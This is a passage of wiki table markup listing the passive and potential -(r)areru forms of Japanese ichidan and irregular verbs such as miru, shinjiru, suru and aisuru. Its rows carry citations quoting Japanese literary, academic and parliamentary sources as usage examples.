| {{#invoke:nihongo|nihongo_krt|suffer because one dies / (can) die|死なれる|shinareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<small>ラムズドゥン</small> <ruby>其<rp>(</rp><rt>それ</rt><rp>)</rp></ruby>は<ruby>無<rp>(</rp><rt>む</rt><rp>)</rp></ruby><ruby>論<rp>(</rp><rt>ろん</rt><rp>)</rp></ruby><ruby>貴<rp>(</rp><rt>あ</rt><rp>)</rp></ruby><ruby>女<rp>(</rp><rt>なた</rt><rp>)</rp></ruby>の<ruby>心<rp>(</rp><rt>こゝろ</rt><rp>)</rp></ruby><ruby>持<rp>(</rp><rt>もち</rt><rp>)</rp></ruby>はよく<ruby>解<rp>(</rp><rt>わか</rt><rp>)</rp></ruby>つて<ruby>居<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby>る。<ruby>貴<rp>(</rp><rt>あ</rt><rp>)</rp></ruby><ruby>女<rp>(</rp><rt>なた</rt><rp>)</rp></ruby>は<ruby>元<rp>(</rp><rt>もと</rt><rp>)</rp></ruby>よりさうある<ruby>可<rp>(</rp><rt>べ</rt><rp>)</rp></ruby>き<ruby>處<rp>(</rp><rt>ところ</rt><rp>)</rp></ruby>で、<ruby>私<rp>(</rp><rt>わたし</rt><rp>)</rp></ruby>は<ruby>實<rp>(</rp><rt>じつ</rt><rp>)</rp></ruby>に<ruby>感<rp>(</rp><rt>かん</rt><rp>)</rp></ruby><ruby>心<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>だと<ruby>思<rp>(</rp><rt>おも</rt><rp>)</rp></ruby>つて<ruby>居<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby>る。<ruby>併<rp>(</rp><rt>しか</rt><rp>)</rp></ruby>し<ruby>其<rp>(</rp><rt>それ</rt><rp>)</rp></ruby>では<ruby>貴<rp>(</rp><rt>あ</rt><rp>)</rp></ruby><ruby>女<rp>(</rp><rt>なた</rt><rp>)</rp></ruby>の<ruby>思<rp>(</rp><rt>おも</rt><rp>)</rp></ruby>ふやうに<ruby>事<rp>(</rp><rt>じ</rt><rp>)</rp></ruby><ruby>件<rp>(</rp><rt>けん</rt><rp>)</rp></ruby>の<ruby>解<rp>(</rp><rt>かい</rt><rp>)</rp></ruby><ruby>決<rp>(</rp><rt>けつ</rt><rp>)</rp></ruby>にはならない。<ruby>今<rp>(</rp><rt>いま</rt><rp>)</rp></ruby><ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>つの<ruby>例<rp>(</rp><rt>れい</rt><rp>)</rp></ruby>を<ruby>言<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つて<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby>る。<ruby>假<rp>(</rp><rt>かり</rt><rp>)</rp></ruby>にだね、<ruby>貴<rp>(</rp><rt>あ</rt><rp>)</rp></ruby><ruby>女<rp>(</rp><rt>なた</rt><rp>)</rp></ruby>が<ruby>私<rp>(</rp><rt>わたし</rt><rp>)</rp></ruby>に<ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby>か<ruby>忌<rp>(</rp><rt>いま</rt><rp>)</rp></ruby>はしい<ruby>行<rp>(</rp><rt>かう</rt><rp>)</rp></ruby><ruby>爲<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby>のあつたのを<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>つたとする――<ruby>詰<rp>(</rp><rt>つま</rt><rp>)</rp></ruby>り<ruby>私<rp>(</rp><rt>わたし</rt><rp>)</rp></ruby>が<ruby>死<rp>(</rp><rt>し</rt><rp>)</rp></ruby>なれたお<ruby>父<rp>(</rp><rt>とう</rt><rp>)</rp></ruby>さんの<ruby>思<rp>(</rp><rt>おも</rt><rp>)</rp></ruby>つて<ruby>居<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby>られた<ruby>樣<rp>(</rp><rt>やう</rt><rp>)</rp></ruby>な<ruby>男<rp>(</rp><rt>をとこ</rt><rp>)</rp></ruby>でない<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>が<ruby>分<rp>(</rp><rt>わか</rt><rp>)</rp></ruby>つて<ruby>來<rp>(</rp><rt>き</rt><rp>)</rp></ruby>たとする、<ruby>其<rp>(</rp><rt>それ</rt><rp>)</rp></ruby>でも<ruby>貴<rp>(</rp><rt>あ</rt><rp>)</rp></ruby><ruby>女<rp>(</rp><rt>なた</rt><rp>)</rp></ruby>は<ruby>私<rp>(</rp><rt>わたし</rt><rp>)</rp></ruby>がロォダの<ruby>保<rp>(</rp><rt>ほ</rt><rp>)</rp></ruby><ruby>護<rp>(</rp><rt>ご</rt><rp>)</rp></ruby><ruby>者<rp>(</rp><rt>しや</rt><rp>)</rp></ruby>となるのがいゝとお<ruby>思<rp>(</rp><rt>おも</rt><rp>)</rp></ruby>ひかね|pp=37–38|url=https://dl.ndl.go.jp/pid/947527/1/30|quote=<span style=font-variant:small-caps>ramsden</span>. Of course I understand your feeling, Annie. It is what I should have expected of you; and it does you credit. But it does not settle the question so completely as you think. Let me put a case to you. Suppose you were to discover that I had been guilty of some disgraceful action—that I was not the man your poor dear father took me for! Would you still consider it right that I should be Rhoda's guardian?|script-chapter=ja:第一幕|chapter=Act I|title=Man and Superman|script-title=ja:人と超人|date=1 December 1913|translator-last=Hosoda|translator-first=Kohei|authorlink=George Bernard Shaw|first=George Bernard|last=Shaw|publisher={{#invoke:lang|lang|ja|敬文館}}|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''グロー''' <ruby>予<rp>(</rp><rt>わし</rt><rp>)</rp></ruby>ァ<ruby>動<rp>(</rp><rt>いご</rt><rp>)</rp></ruby>かん。<ruby>此<rp>(</rp><rt>この</rt><rp>)</rp></ruby><ruby>儘<rp>(</rp><rt>まゝ</rt><rp>)</rp></ruby><ruby>立<rp>(</rp><rt>たち</rt><rp>)</rp></ruby><ruby>腐<rp>(</rp><rt>ぐさ</rt><rp>)</rp></ruby>れに死なれさうなものぢゃ。|p=206|url=https://dl.ndl.go.jp/pid/1664844/1/109|quote='''Glou.''' No further, sir; a man may rot even here.|script-chapter=ja:第二場 兩軍の間の平野。|chapter=Scene II. A field between the two camps.|title=King Lear|script-title=ja:リヤ王|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|authorlink=William Shakespeare|first=William|last=Shakespeare|date=15 May 1957|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|location=[[Bunkyō]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|quote='''Mor.''' Enough: my soul shall then be satisfied.<br>[…]<br>'''Mor.''' Thou dost then wrong me,—as the slaughterer doth,<br>Which giveth many wounds when one will kill.—<br>[…]<br>'''Lucy.''' Is Talbot slain, the Frenchmen's only scourge,<br>Your kingdom's terror and black Nemesis?|script-quote=ja:'''モーチ''' よろしい。それなら安心して死なれる。[…]<br>'''モーチ''' そりゃむしろ迷惑ぢゃ、ちょうど一太刀で死なれるものを<ruby>弄<rp>(</rp><rt>なぶ</rt><rp>)</rp></ruby>り殺しにされるやうなものぢゃ。[…]<br>'''リュー''' え、タルボットどのは死なれたか、フランス人の唯一の<ruby>笞杖<rp>(</rp><rt>こらしめ</rt><rp>)</rp></ruby>の、此王國の恐怖の、おそろしい<ruby>應報神<rp>(</rp><rt>ネメシス</rt><rp>)</rp></ruby>のタルボットどのは?|pp=76, 80, 150|url=https://dl.ndl.go.jp/pid/1664866/1/44|title=First Part of King Henry VI|script-title=ja:ヘンリー六世 第一部|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|authorlink=William Shakespeare|first=William|last=Shakespeare|date=15 June 1958|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|location=[[Bunkyō]], Tokyo}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:また、親が子どもに先に死なれることが、どんなに辛いことかわかりました。|trans-quote=I also realized how painful it is for a parent to live through their child's death.|p=59|script-title=ja:生と死を考える試み ―保育者養成において―|volume=26|date=20 December 2004|publisher=St. Mary's College, Nagoya|last=Onoe|first=Akiko|last2=Nakane|first2=Junko|script-journal=ja:研究紀要|url=https://ryujo.repo.nii.ac.jp/?action=repository_action_common_download&item_id=183&item_no=1&attribute_id=21&file_no=1|title=Exploring Life and Death : Trial Educational Sessions for the Early Childhood Education Students|journal=annual report of studies|issn=13427997|location=[[Nagoya]], [[Aichi Prefecture|Aichi]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:半年の間に両親に死なれた末っ子の末男は、そのあたりの時期の記憶がすっぽり抜けてしまって、両親の葬儀のこともあまり覚えていなかった。|trans-quote=Sueo, as the youngest child who lost both his parents in the span of six months, blocked out all the memory of that time and did not remember so much as their funerals.|p=8|script-chapter=ja:四|trans-chapter=4|script-title=ja:「じゃあ、またね」 置かれた場所で咲いて逝った姉との晩年の交流|trans-title="See You Again": Time with My Sister During Her Last Years, Before She Passed and Blossomed at Her Resting Place|url=https://zuishun.net/wp-content/uploads/2024/12/5a29b2033d4b48b46f2f941cf3442c97.pdf|last=Iina|first=Hekisui|date=7 October 2024|editor-last=Masakura|editor-first=Ichibun|publisher=Zuihitsu Shunjū}}</ref>
|-
! colspan=5 style=text-align:left | ''Ichidan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|look|見る|miru}}
| style=text-align:right | {{#invoke:lang|lang|ja|見}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|見}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be seen / suffer because one looks / (can) look / be seeable/viewable/watchable/visible|見られる|mirareru}}
|-
| {{#invoke:nihongo|nihongo_krt|reach|達しる|tasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達し}}<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be reached / suffer because one reaches / (can) reach / be reachable|達しられる|tasshirareru}}<br>{{#invoke:nihongo|nihongo_krt||達せられる|tasserareru}}
|-
| {{#invoke:nihongo|nihongo_krt|guess|察しる|sasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察し}}<br>{{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be guessed / suffer because one guesses / (can) guess / be guessable|察しられる|sasshirareru}}<ref name=miyake-1951>{{#invoke:cite|book|lang=ja|script-quote=ja:一種の象徴主義の藝能なのが察せられる筈である。[…]趣味に偏した道樂者でなかつたのは察しられると思ふ。[…]戀はしなくても戀は察しられたのであらう。[…]堪能する藝たるには道は遠いと察しるからだ。[…]あの立派な<ruby>柄<rp>(</rp><rt>がら</rt><rp>)</rp></ruby>がものをいふのは察しられるが、[…]併し、壽海の人柄としては鴈より羽の演出がらくなのは察しられる。[…]卽ち、同行の若い人には實子の隆三氏をつれて行くのが望みだつたかと察しる。|script-title=ja:歌舞伎ノート|first=Shūtarō|last=Miyake|publisher=Sōgensha|date=15 December 1951|location=[[Chūō, Tokyo]]|pp=25, 43–44, 60, 65, 124, 231|url=https://dl.ndl.go.jp/pid/2459789/1/23}}</ref><br>{{#invoke:nihongo|nihongo_krt||察せられる|sasserareru}}<ref name=miyake-1951/>
|-
| {{#invoke:nihongo|nihongo_krt|(can) believe|信じる|shinjiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信じ}}<br>{{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be believed / suffer because one believes / (can) believe / be believable/trustable|信じられる|shinjirareru}}<ref>{{citation|lang=ja|script-quote=ja:ピスティス(信)は,信じる者と信じられる者がいてはじめて成立する.|page=257 |script-title=ja:ローマ書におけるピスティスとノモス(1)|last=Ōta|first=Shūji|publisher=Center for General Education, Hitotsubashi University|year=2011 |url=https://hermes-ir.lib.hit-u.ac.jp/hermes/ir/re/19025/jinbun0000502560.pdf}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:失ったもの、できなかったことはたくさんありますが、私たちにとって本当に大切なものは、再構築できると信じられるのは、同僚たちの力と姿勢を信じることができるからです。|page=9 |script-title=ja:コロナ経験からの教訓|authorlink=Kuniko Tanioka|first=Kuniko|last=Tanioka|script-journal=ja:No Rain, No Rainbow 大府市新型コロナウイルス感染症対策記録誌|location=[[Ōbu]], [[Aichi Prefecture|Aichi]]|date=March 2023|url=https://www.city.obu.aichi.jp/_res/projects/default_project/_page_/001/027/393/honnpenn.pdf}}</ref><br>{{#invoke:nihongo|nihongo_krt||信ぜられる|shinzerareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:あの女の言つた言葉を、その言葉どほりに信じるならよからう。もし信ぜられないとしたら、……|page=35 |url=https://dl.ndl.go.jp/pid/1231681/1/24|script-chapter=ja:舞臺裏|script-title=ja:舞臺裏|first=Saburō|last=Okada|publisher={{#invoke:lang|lang|ja|慈雨書洞}}|series={{#invoke:lang|lang|ja|岡田三郞小說集}}|date=20 February 1937|location=[[Yotsuya]], Tokyo}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:それによると、最初、人間が野蛮、無知の時代には、皆拝物宗、多神教で、山の神や海の神などを信じていたとされる。しかし、その後、このような信仰の不合理を自覚し、天地を支配する一神を信じるようになり、その信仰が段々と多くの人々に信ぜられるようになってきたところに宗教の進化があったと見る。|page=39 |url=https://doho.repo.nii.ac.jp/?action=repository_uri&item_id=1113&file_id=22&file_no=1 |script-title=ja:近代日本における仏教批判と仏教側の対応 ――松村介石と本多日生の論争に着目して――|last=Burenina|first=Yulia|script-journal=ja:同朋文化|number=10 |year=2015}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|give|進ぜる|shinzeru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進ぜ}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進ぜ}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be given / suffer because one gives / (can) give / be givable|進ぜられる|shinzerareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:例へば、將軍より朝廷へ献上品を奉る場合も、朝廷より將軍へ御下賜品を賜る場合も、均しく是を、『進ぜる』といつた。[…]ある時、女院から東宮に唐子人形五十人分進ぜられた。|pp=14, 194|script-title=ja:七卿囬天史|date=27 June 1942|collaboration={{#invoke:lang|lang|ja|七卿顯彰會}}|last=Sawa|first=Nobutada|publisher=Dainihon Yūbenkai Kōdansha|location=[[Koishikawa]], Tokyo|url=https://dl.ndl.go.jp/pid/1920595/1/134}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|exit|出る|deru}}
| style=text-align:right | {{#invoke:lang|lang|ja|出}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|出}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|suffer because one exits / (can) exit|出られる|derareru}}
|-
! colspan=5 style=text-align:left | Irregular verbs
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|do|する|suru}}
| rowspan=2 style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be done / suffer because one does / (can) do / be doable/feasible|される|sareru}}
|-
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|せ<br>し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
|{{#invoke:nihongo|nihongo_krt|(can) be done / suffer because one does / (can) do / be doable/feasible|せられる|serareru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:破産宣告と同時に破産廃止決定がせられた場合には破産手続は進行せず即時清算の必要があり、清算人設置の必要が生じるから同条同項のいう「破産」の場合にあたらない。|page=115 |script-title=ja:〔最高裁民訴事例研究 六六〕|last1=Toyoizumi|first1=Kantarō|last2=Sōda|first2=Chikahiko|publisher={{#invoke:lang|lang|ja|慶應義塾大学法学研究会}}|script-journal=ja:法學研究:法律・政治・社会|journal=Journal of Law, Politics, and Sociology|volume=42 |number=7 |date=July 1969|url=https://koara.lib.keio.ac.jp/xoonips/modules/xoonips/download.php/AN00224504-19690715-0110.pdf?file_id=139992}}</ref><br>{{#invoke:nihongo|nihongo_krt||しられる|shirareru}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|study|勉強する|benkyō suru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be studied / suffer because one studies / (can) study / be studiable|勉強される|benkyō sareru}}<ref name=meikyo>{{#invoke:cite|book|script-title=ja:明鏡国語辞典|lang=ja|editor-last=Kitahara|editor-first=Yasuo|edition=3rd|date=11 December 2020|publisher=Taishūkan Shoten}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:先生は、東京大学法学部のご出身ですが、在学時代、高名な三ケ月章教授(民事訴訟法担当)・田中英夫教授(英米法担当)から法曹の道に繋がる司法試験の受験を熱心に勧められたにもかかわらず、積極的に法律を勉強されるという学生生活ではなかったようです。|page=1 |url=https://hakuoh.repo.nii.ac.jp/record/573/files/KJ00009310059.pdf|last=Nohata|first=Kentarō|script-title=ja:池田節雄先生に捧ぐ|script-journal=ja:白鴎大学法科大学院紀要|number=7 |year=2013}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be studied / suffer because one studies / (can) study / be studiable|勉強せられる|benkyō serareru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:私に續いて多くの同僚に更に專門的に勉强せられる機會を確實に作りたいものである。|page=91 |script-title=ja:硏究所の動き|title=How the Laboratory is moving !|last=Yoshida|first=Gorō|script-journal=ja:通研月報|journal=The Monthly Journal of the Electrical Communication Laboratory|publisher=Electrical Communication Laboratory|volume=3 |number=1 |date=20 January 1950|editor-last=Abe|editor-first=Shōji|location=[[Shinagawa]], Tokyo|url=https://dl.ndl.go.jp/pid/2321797/1/52}}</ref><ref>{{#invoke:cite|web|lang=ja|script-quote=ja:(拍手)(「しつかりやれよ」と呼ぶ者あり)共産主義諸国の外交的、政治的動きを知りたいことが、この情報機関設置の一つの目的となつておりしたならば、先ず何よりも吉田内閣総理大臣はじめ、ここにいらつしやるところの自由党の閣僚諸君が、マルクス主義理論のABCから勉強せられるということのほうが(拍手、「異議なし」と呼ぶ者あり)先に必要であるということを、失礼ながら思うのであります、これに対する緒方さんの御見解はどうであるか。|url=https://kokkai.ndl.go.jp/simple/detail?minId=101515254X00819521203&spkNum=20#s20|first=Suejirō|last=Yoshikawa|script-title=ja:第15回国会 参議院 本会議 第8号 昭和27年12月3日|script-work=ja:会議録テキスト表示画面(国会会議録検索システムシンプル表示)|date=3 December 1952}}</ref><br>{{#invoke:nihongo|nihongo_krt||勉強しられる|benkyō shirareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:お家で每日平均何時間勉强しられますか。[…]喜んで勉强しられますか、[…]一人で勉强しられますか、|pp=412–413|script-chapter=ja:第一章 家庭生活調査に基づく生活訓練|url=https://dl.ndl.go.jp/pid/1117431/1/215|script-title=ja:よき日本人への生活敎育|date=1 October 1937|editor-last=Tsujimoto|editor-first=Nobuji|location=[[Kamigyō-ku, Kyoto|Kamigyō, Kyoto]]|publisher={{#invoke:lang|lang|ja|立命館出版部}}}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|love|愛する|aisuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be loved / suffer because one loves / (can) love / be lovable|愛される|aisareru}}<ref name=meikyo /><ref name=miyahara-1956-aisareru-aiserareru-aishirareru/><ref>{{#invoke:cite|journal|script-title=ja:愛されることは愛することよりも重要か? -愛すること、愛されることへの欲求と精神的健康、青年期の愛着スタイルとの関連-|lang=ja|script-quote=ja:本研究では、愛することへの欲求ならびに愛されることへの欲求の特徴を探ることを目的に、それらの欲求と精神的健康および青年期の愛着スタイル(愛着次元)との関連について検討を行った。|title=Being loved is more important than loving?: Relationships between desires to love and be loved, and mental health and early adult attachment styles|trans-quote=The purpose of this study was to reveal the features of desires to love and desires to be loved. Thus, it was examined the relationships between these two desires, and mental health and early adult attachment styles (attachment dimensions).|script-journal=ja:対人社会心理学研究|journal=Japanese Journal of Interpersonal and Social Psychology|last=Kanemasa|first=Yūji|year=2005 |volume=5 |url=https://ir.library.osaka-u.ac.jp/repo/ouka/all/7229/jjisp05_031.pdf}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
|{{#invoke:nihongo|nihongo_krt|(can) be loved / suffer because one loves / (can) love / be lovable|愛せられる|aiserareru}}<ref name=meikyo /><ref name=shimada-1922>{{#invoke:cite|book|lang=ja|script-quote=ja:己れは愛しられる丈け愛する。あなたも愛せられる部分丈愛して下さい。|url=https://dl.ndl.go.jp/pid/970117/1/35|page=61 |script-chapter=ja:絶對道(長篇小説)|script-title=ja:勝利を前にして|last=Shimada|first=Seijirō|publisher=Kaizōsha|date=2 April 1922|edition=5th|location=[[Shiba, Tokyo]]}}</ref><ref name=miyahara-1956-aisareru-aiserareru-aishirareru/><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:愛せられることは出來ても自ら愛することを知らない男に執拗なほど愛を求めつづけ、|page=200 |url=https://dl.ndl.go.jp/pid/1664227/1/108|script-chapter=ja:七つの手紙 或る女友達に|script-title=ja:風立ちぬ|series={{#invoke:lang|lang|ja|堀辰雄作品集}}|volume=3 |authorlink=Tatsuo Hori|first=Tatsuo|last=Hori|publisher=Kadokawa Shoten|date=5 December 1950|location=[[Chiyoda, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛しられる|aishirareru}}<ref name=shimada-1922/><ref name=miyahara-1956-aisareru-aiserareru-aishirareru/>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|reach|達する|tassuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be reached / suffer because one reaches / (can) reach / be reachable|達される|tassareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それに達する距離を正しく測定する場合に限る樣に、或は目的を達する爲めに一人の人間を味方にするには、[…]かの意識と存在の調和が達されるといふ事實は、|pp=42, 98|url=https://dl.ndl.go.jp/pid/1132053/1/52|script-title=ja:ゲーテ|title=Goethe|authorlink=Georg Simmel|first=Georg|last=Simmel|translator-last=Kimura|translator-first=Kinji|publisher=Sakurai Shoten|date=25 March 1946|edition=2nd|location=[[Koishikawa]], Tokyo}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:代官や肝入はこうした徳目を,例えば狐禅寺・小野寺文書に「覚」(享保4[1719]年2月付け)があるように,機会をとらえて百姓に教諭しようとした(但しこの「覚」は,延宝以後に達された遵守項目をも一括して書上げている)。[…]村はこの地区・組を起点に,鹿折川の両岸地域をふくみつつ次第に南方にひらけ,気仙沼湾に達する境域内にある(人別帳の書上げはこの白石から始められた)。|pp=97, 99|url=https://www.ritsumei.ac.jp/ss/sansharonshu/assets/file/2013/49-2_02-05.pdf|script-title=ja:江戸時代の超高齢者 ─仙台藩1737-1866年史料に見る(上)─|first=Masao|last=Takagi|script-journal=ja:立命館産業社会論集|volume=49 |number=2 |date=September 2013}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
|{{#invoke:nihongo|nihongo_krt|(can) be reached / suffer because one reaches / (can) reach / be reachable|達せられる|tasserareru}}<ref>{{citation|lang=ja|script-quote=ja:電氣探鑛は正常なる條件の下に於ては著しい深度に達することが出來る。<br>然しながら斯る深度には只上部に橫はる地質が電氣傳導率大ならざる場合に於てのみ達せられる。|page=195 |url=https://www.jstage.jst.go.jp/article/japt1933/7/2/7_2_189/_pdf|script-title=ja:電氣探鑛に依る油田の地球物理學的硏究|author={{#invoke:lang|lang|ja|北樺太石油株式會社採鑛課}}|year=1939}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:⑶ 復元処理(温度T<sub>R</sub>)を行なうと急速に電気抵抗は減少し60s以内で一定値に達する。この一定値は温度T<sub>R</sub>での時効によつて達せられる値とほぼ同じである。|page=484 |url=https://www.jstage.jst.go.jp/article/jilm1951/31/7/31_7_484/_pdf|last1=Osamura|first1=Kōzō|last2=Ogura|first2=Tetsuzō|last3=Murakami|first3=Yōtarō|script-title=ja:Al-Mg 合金の低温時効*|script-journal=ja:軽金属|volume=31 |number=7 |year=1981}}</ref><br>{{#invoke:nihongo|nihongo_krt||達しられる|tasshirareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:この時期は體力も旺んであり、生氣も强く、隨つて技術は向上する一方で、天分と努力さへ一致すれば、達しられるだけの高さに達するであらう。|page=86 |script-chapter=ja:物眞似・幽玄と能の錬成|url=https://dl.ndl.go.jp/pid/1125592/1/51|script-title=ja:能の幽玄と花|last=Nogami|first=Toyoichirō|publisher=Iwanami Shoten|date=20 January 1940|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:アミラーゼ生産は培養後 40~70 時間でほぼ定常状態に達するので比較的短時間培養でこの目的が達しられる。|page=898 |url=https://www.jstage.jst.go.jp/article/jbrewsocjapan1915/59/10/59_10_898/_pdf|last1=Murakami|first1=Hideya|last2=Suzuki|first2=Atae|last3=Ōwaki|first3=Kyōko|last4=Noda|first4=Yukio|script-title=ja:黄麹菌の諸性質(4) 多数菌株の酵素力比較法について|script-journal=ja:日本釀造協會雜誌|volume=59 |number=10 |year=1964}}</ref>
|-
